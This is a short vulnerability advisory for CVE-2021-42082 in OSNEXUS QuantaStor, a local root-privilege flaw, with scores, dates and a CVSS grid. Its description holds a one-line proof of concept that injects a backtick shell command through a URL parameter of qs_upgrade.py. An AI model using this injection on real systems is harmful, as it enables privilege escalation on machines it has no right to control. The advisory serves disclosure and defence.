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    CVE-2021-42082

    Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

    Published:Jul 10, 2023
    Last Modified:Sep 22, 2025
    EPS:Jul 10, 2023
    EPSS Score:0.00033
    CVSS Score:7.8

    Affected Products

    Vendor
    Osnexus
    Product
    Quantastor

    Exploits

    No exploit reference

    Common Weakness Enumeration

    CWE-269 Improper Privilege Management

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    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High